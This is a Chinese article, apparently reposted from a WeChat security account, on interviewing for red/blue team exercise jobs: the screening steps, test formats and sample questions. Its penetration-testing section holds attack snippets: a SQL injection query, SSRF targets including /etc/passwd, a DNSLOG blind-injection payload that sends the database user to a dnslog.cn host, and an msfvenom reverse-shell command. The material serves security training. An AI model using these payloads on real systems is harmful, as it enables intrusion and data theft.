1. 简历初筛
1.1基本门槛：
-
学历：专科及以上（部分企业要求本科且需有实战经验或工作经历）； -
技术证书：如 CEH、CISSP、OSCP、CISP-PTE 等； -
实战经验：是否有HW红队/蓝队经验、CTF比赛经历、渗透测试项目等； -
工具熟练度：Metasploit、Burp Suite、SQLmap、Nmap、Wireshark 等
-
基础技术栈是否扎实； -
是否具备应急响应、日志分析、漏洞挖掘能力； -
沟通表达与文档编写能力。
2. 技术笔试/在线测试
常见题型包括但不限于：
-
基础网络知识选择题（DNS解析流程、TCP三次握手）； -
日志分析题（Windows事件ID解读、Linux系统日志提取可疑行为）； -
渗透测试实操题（给定靶机环境进行信息收集、提权、横向移动）； -
编程题（Python自动化脚本、正则匹配日志中的攻击特征）。
3. 面试环节（重点）
面试通常分为两部分：
（1）结构化问答
（2）实战模拟
-
给出一个包含漏洞的虚拟靶机，现场进行渗透并输出报告； -
提供恶意样本行为日志，分析攻击链路并提出防御方案。
4. 背景调查与评级推荐
-
中介会根据候选人表现给予评级（初级/中级/高级研判）； -
评级决定是否进入甲方单位的最终面试； -
若评级低，即便简历再强也可能被淘汰，这一点要着重注意。
二、护网面试常见问题汇总
1. 应急响应相关
问题示例：
- 如何判断服务器是否被植入WebShell？
-
查看可疑文件修改时间、访问日志、进程列表； -
使用 strings分析可疑文件是否存在敏感函数（如 eval、system）； -
检查计划任务、启动项、服务注册表项是否存在异常条目。
实操命令：
bash复制 # 查看当前连接状态
netstat -antp | grep ESTABLISHED
# 查找可疑进程
ps aux | grep suspicious_process_name
# 查看最近修改的日志文件
ls -la /var/log/*.log
# Windows事件查看器查询安全日志
wevtutil qe Security /rd:true /f:text
2. 渗透测试相关
问题示例：
-
如何构造联合查询语句进行SQL注入？
sql复制 -- 示例：获取数据库版本、用户
SELECT1,2,3,@@version,user() FROM information_schema.tables LIMIT 1; -
SSRF漏洞利用场景有哪些？
-
利用 Gopher 协议访问内部 Redis 数据库； -
读取本地 /etc/passwd文件； -
内网探测其他服务（如 Jenkins、Docker API）。 -
如何通过DNSLOG进行盲注探测？
python复制 import requests
url = "http://vulnerable-site.com/?id=1"
payload = "' AND (SELECT LOAD_FILE(CONCAT('\\',(SELECT user()),'.xxxxx.dnslog.cn\abc')))-- -"
requests.get(url + payload)
工具使用示例：
bash复制 # 使用MSF生成反弹Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe
# Python端口扫描器
import socket
def port_scan(ip, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((ip, port))
if result == 0:
print(f"Port {port} is open on {ip}")
sock.close()
except Exception as e:
print(f"Error scanning {ip}:{port} - {e}")
for port in range(1, 1025):
port_scan("192.168.1.1", port)
原文始发于微信公众号（C4安全团队）：护网面试经：面试常见套路，护网靠不靠得住
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论